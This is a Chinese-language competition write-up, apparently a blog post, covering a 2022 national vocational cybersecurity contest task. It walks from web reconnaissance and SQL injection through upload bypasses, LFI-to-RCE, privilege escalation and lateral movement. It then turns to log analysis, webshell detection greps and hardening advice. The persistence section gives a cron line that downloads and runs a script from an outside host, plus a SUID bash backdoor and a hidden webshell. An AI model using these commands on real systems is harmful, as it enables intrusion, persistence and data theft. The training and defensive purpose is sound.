网络安全实战:从Web渗透到内网横向移动的攻防演练
1. 赛题复盘与核心思路拆解拿到这道2022年中职组网络安全国赛的赛题第一感觉是综合性非常强。它不像一些偏理论的题目而是把Web渗透、系统加固、应急响应和流量分析这几个安全工程师日常最核心的活儿打包成了一个实战场景。题目给了一个模拟的企业内网环境里面有Web服务器、数据库还有员工主机告警说可能被入侵了。我们的任务就是扮演“安全工程师”从攻击者的角度找到漏洞、拿到权限再从防御者的角度分析攻击痕迹、提出加固方案。这种“攻防一体”的考法非常贴近真实工作。我的整体解题思路是“先外后内动静结合”。“先外后内”指的是先从对外提供服务的Web应用入手这是最常见的突破口拿到一定权限后再向内网横向移动。“动静结合”则是指既要进行动态的渗透测试比如跑工具、手工测漏洞也要进行静态的代码和日志分析。整个过程中我习惯用一个思维导图工具实时记录发现的IP、端口、目录、可疑文件、账号密码等信息避免在复杂的多步渗透中迷失方向。2. 外部信息收集与漏洞初探面对一个陌生的目标盲目测试是低效的。第一步永远是信息收集。题目通常会给一个主域名或IP比如target.com。2.1 资产发现与端口扫描我首先会用nmap进行全面的端口扫描目的是摸清目标开放了哪些服务画出它的网络边界图。nmap -sS -sV -O -p- -T4 target.com -oA nmap_full这里有几个参数的选择理由-sSSYN半开扫描相对隐蔽且快-sV探测服务版本漏洞往往和特定版本绑定-O尝试识别操作系统-p-扫描所有65535个端口避免遗漏像3000、8080这类非标准端口的服务-T4加快扫描速度比赛环境通常对扫描行为不设严格限制-oA输出所有格式的结果方便后续用grep筛选。扫描结果可能会显示开放了80HTTP、443HTTPS、21FTP、22SSH、3306MySQL等端口。重点关注80/443这是Web入口。2.2 Web应用指纹识别与目录爆破确定了Web服务下一步就是识别它用什么技术栈建的。我用whatweb或浏览器插件Wappalyzer快速识别。whatweb http://target.com如果发现是Apache/2.4.41PHP/7.4.3心里就有谱了可以着重关注PHP相关的漏洞比如文件包含、反序列化。接着进行目录和文件枚举寻找后台登录入口、配置文件、备份文件等。gobuster或dirsearch是常用工具。gobuster dir -u http://target.com -w /usr/share/wordlists/dirb/common.txt -x php,html,bak,txt,zip这里-w指定字典比赛时可以用更全面的字典如directory-list-2.3-medium.txt。-x指定尝试的扩展名bak、zip常常能发现源码备份。2.3 初探漏洞与敏感信息泄露在浏览网站和扫描目录的过程中要像“侦探”一样留意任何异常。报错信息有时网站配置不当会将PHP错误、SQL错误直接返回给用户里面可能包含路径、代码片段甚至数据库连接信息。默认页面/文件检查/phpinfo.php、/test.php、/admin/、/robots.txt、/.git/等。.git目录泄露是经典漏洞如果存在可以用githack之类的工具尝试还原整个网站源码这等于拿到了“考题答案”。参数尝试在URL中尝试添加?file、?page、?id等参数观察响应变化为后续的文件包含或SQL注入测试做准备。实操心得信息收集阶段一定要细。我曾在一道题中就是在robots.txt里发现了一个禁止爬取的/backup/目录进去后找到了整个网站的.zip备份包解题速度直接起飞。比赛时这些“低垂的果实”往往就是出题人设置的第一个突破口。3. Web渗透突破点实战解析在信息收集的基础上针对发现的线索进行深度测试。这道题的核心突破点往往就在Web层。3.1 SQL注入漏洞利用与提权假设在news.php?id1页面通过参数测试发现存在数字型SQL注入。我一般先用sqlmap进行自动化验证和利用节省时间。sqlmap -u http://target.com/news.php?id1 --batch --dbs--batch参数让sqlmap自动选择默认选项适合比赛争分夺秒。如果成功列出数据库接下来就获取当前数据库的表、字段最终拖取数据。sqlmap -u http://target.com/news.php?id1 -D app_db --tables sqlmap -u http://target.com/news.php?id1 -D app_db -T users --columns sqlmap -u http://target.com/news.php?id1 -D app_db -T users -C username,password --dump这里的关键是找到管理员的账号密码。密码很可能是MD5哈希需要去在线网站如cmd5.com或用hashcat破解。如果破解成功登录后台往往能找到上传点。3.2 文件上传漏洞与Webshell获取登录后台后寻找文件上传功能如图片上传、文档上传。这是获取Webshell的黄金途径。前端绕过如果只能上传图片先尝试修改文件扩展名如shell.php.jpg或抓包修改Content-Type为image/jpeg。黑名单绕过如果后端检查扩展名尝试shell.php5、shell.pHp大小写、shell.php%20空格、shell.php.末尾加点Windows系统可能自动去除等。文件内容绕过在PHP文件开头添加图片魔数如GIF89a同时保证后面是有效的PHP代码。或者利用exif_imagetype()函数只检查文件头的特点。解析漏洞利用如果服务器是Nginx且配置不当可能存在解析漏洞如上传shell.jpg访问shell.jpg/.php会被当作PHP执行。上传成功后访问你的Webshell如http://target.com/uploads/shell.php使用system($_GET[‘cmd’]);这样的简单代码执行命令验证是否成功。3.3 文件包含漏洞利用如果在信息收集阶段发现?fileabout.php这样的参数可能存在文件包含LFI。测试方法尝试包含/etc/passwd?file../../../../etc/passwd如果成功可以进一步尝试包含日志文件如/var/log/apache2/access.log然后在User-Agent中插入PHP代码通过包含日志文件来执行代码这就是LFI到RCE远程代码执行的转化。在PHP环境中还可以利用php://input伪协议在POST body中直接写入PHP代码执行。注意事项上传Webshell或利用文件包含时动作要快但也要“优雅”。不要一上来就rm -rf /或者疯狂wget反弹shell。先whoami、id查看当前权限pwd、ls -la查看目录ifconfig或ip a查看内网IP段。这些信息对后续横向移动至关重要。4. 内网横向移动与权限维持拿到Web服务器的低权限shell通常是www-data用户后目标转向提权和控制内网其他机器。4.1 本地提权Privilege Escalation首先在当前的Web服务器上尝试提权到root。信息收集运行sudo -l查看当前用户可以以root身份执行哪些命令。如果看到(ALL) NOPASSWD: /usr/bin/vim那就可以用sudo vim -c ‘!bash’轻松提权。内核漏洞利用运行uname -a查看内核版本搜索对应的公开Exp。比如著名的DirtyCowCVE-2016-5195。比赛环境为了可重现性有时会故意留一个已知的内核漏洞。使用searchsploit本地搜索或上网查找。SUID文件滥用运行find / -perm -4000 -type f 2/dev/null查找具有SUID位的文件。如果找到find、bash、cp等命令配置了SUID可以利用它们提权例如find . -exec /bin/bash -p \;。敏感信息扫描在服务器上寻找配置文件、备份文件、数据库密码文件。命令如find / -name “*.php” -type f 2/dev/null | xargs grep -l “password\|DB_HOST\|rootlocalhost” cat /var/www/html/config.php 2/dev/null很可能在某个配置文件里找到数据库的root密码而MySQL的root密码有时就是系统root的密码或者可以通过MySQL的UDF提权。4.2 内网探测与横向移动提权成功后以root权限进行内网探测。网络拓扑探测使用ifconfig查看当前主机IP例如192.168.1.10然后用nmap扫描整个C段。nmap -sn 192.168.1.0/24 # 发现存活主机 nmap -sS -sV -O 192.168.1.1-254 # 对存活主机进行详细扫描口令爆破与复用在之前的信息收集中可能已经拿到了某些系统的账号密码如后台管理员密码、数据库密码。尝试用这些密码去SSH连接内网的其他机器ssh user192.168.1.x。人们习惯在不同系统使用相同或相似的密码这是内网横向的常见突破口。利用漏洞服务扫描发现内网某台机器开放了445端口SMB可以尝试ms17-010永恒之蓝漏洞开放了6379端口Redis如果未授权访问可以写入SSH公钥直接获取权限。4.3 权限维持与后门部署为了防止权限丢失需要部署后门。SSH后门在~/.ssh/authorized_keys中追加自己的公钥是最稳定隐蔽的方式。Web后门在Web目录的隐蔽位置如/var/www/html/images/.config.php留下一个加密的、一句话木马变种的Webshell。计划任务添加一个cron job定期从外网下载并执行后门脚本。(crontab -l 2/dev/null; echo “*/5 * * * * curl http://your-server.com/shell.sh | bash”) | crontab -SUID后门拷贝/bin/bash并设置SUID位。cp /bin/bash /tmp/.systemd chmod 4755 /tmp/.systemd之后可以通过/tmp/.systemd -p来获得一个root shell。踩坑记录在内网横向时我曾遇到一台机器的SSH服务只允许密钥登录。这时可以利用已经控制的机器作为“跳板机”将我的公钥写入那台机器的authorized_keys文件。具体操作是在跳板机上ssh-keygen生成一对新密钥然后将公钥内容通过echo命令写入目标机器的对应文件。这个过程需要一定的文件写入权限凸显了前期信息收集找密码、找写权限的重要性。5. 应急响应与攻击痕迹分析国赛题目通常要求“攻防兼备”。在完成攻击部分后需要切换角色作为防御方分析“如果这是我的系统我该如何发现和应对这次攻击”。这考察的是对攻击链的理解和日志分析能力。5.1 攻击链还原与日志分析需要从防守方视角指出攻击者可能留下的痕迹。Web访问日志分析Apache的access.log或Nginx的access.log。寻找大量404错误请求对应目录爆破。寻找对敏感路径的访问如/admin/、/phpinfo.php。寻找带有明显SQL注入或路径遍历特征的URL参数如id1‘、file../../../。寻找上传可疑文件的POST请求如上传.php文件。grep -E “(sqlmap|union|select|\.\./|\.php)” /var/log/apache2/access.log | head -20系统日志分析/var/log/auth.logUbuntu/Debian或/var/log/secureCentOS/RHEL。寻找失败的SSH登录尝试暴力破解。寻找成功的SSH登录记录特别是来自异常IP或非工作时间。寻找sudo命令的使用记录。文件系统异常使用find命令查找近期被修改的Web文件或系统敏感文件。find /var/www/html -type f -mtime -1 # 查找24小时内修改过的文件 find / -name “*.php” -type f -exec grep -l “eval(base64_decode\|system($_GET” {} \; 2/dev/null # 查找可疑的webshell5.2 安全加固建议撰写基于发现的漏洞和攻击路径提出具体、可操作的加固建议。避免空泛的“加强安全意识”。针对SQL注入代码层面所有查询使用参数化查询Prepared Statements或ORM框架严禁字符串拼接。网络层面部署WAFWeb应用防火墙过滤常见攻击payload。数据库层面遵循最小权限原则Web应用使用的数据库账户只赋予其必要表的增删改查权限而非root或DBA权限。针对文件上传使用白名单机制只允许jpg、png、pdf等指定扩展名。对上传文件进行重命名如使用MD5值避免直接使用用户上传的文件名。将上传文件存储在Web根目录之外通过脚本程序来读取和交付。对图片文件进行二次渲染破坏可能嵌入的恶意代码。针对文件包含禁止动态包含文件或严格限制包含路径禁止用户输入直接控制包含的文件名。关闭不必要的PHP危险函数如allow_url_include设置为Off。系统层面及时更新系统和应用软件补丁。修改默认端口如SSH端口改为非22。禁用root用户直接SSH登录使用普通用户sudo提权。配置强密码策略并定期更换。部署HIDS主机入侵检测系统监控敏感文件变更和异常命令执行。5.3 流量分析实战赛题可能会提供一个pcap流量包文件要求分析其中的攻击行为。使用Wireshark打开首先关注协议统计Statistics - Protocol Hierarchy看哪些协议流量异常大。过滤HTTP流量http逐个查看请求和响应。重点关注POST请求体中的可疑参数如cmdwhoami。响应内容中的敏感信息泄露如DB_PASSWORD。上传文件的请求Content-Type: multipart/form-data追踪流Follow - HTTP Stream查看上传了什么。过滤DNS流量攻击者可能使用DNS隧道外传数据查看是否有大量对某个陌生域名的A记录查询。搜索关键字在分组字节流中搜索CtrlFpassword、login、admin、select、union、eval、base64等关键字。导出对象File - Export Objects - HTTP可以导出通过HTTP传输的文件有时能直接导出攻击者上传的Webshell。个人体会应急响应部分最能体现一个安全工程师的功底。攻击可以靠工具和脚本但防御需要深厚的知识储备和严谨的逻辑。分析日志时要像破案一样把分散的线索一条奇怪的访问记录、一个失败登录、一个新增的文件串联成完整的攻击故事链。在比赛中这部分答案的条理性和专业性往往是拉开差距的关键。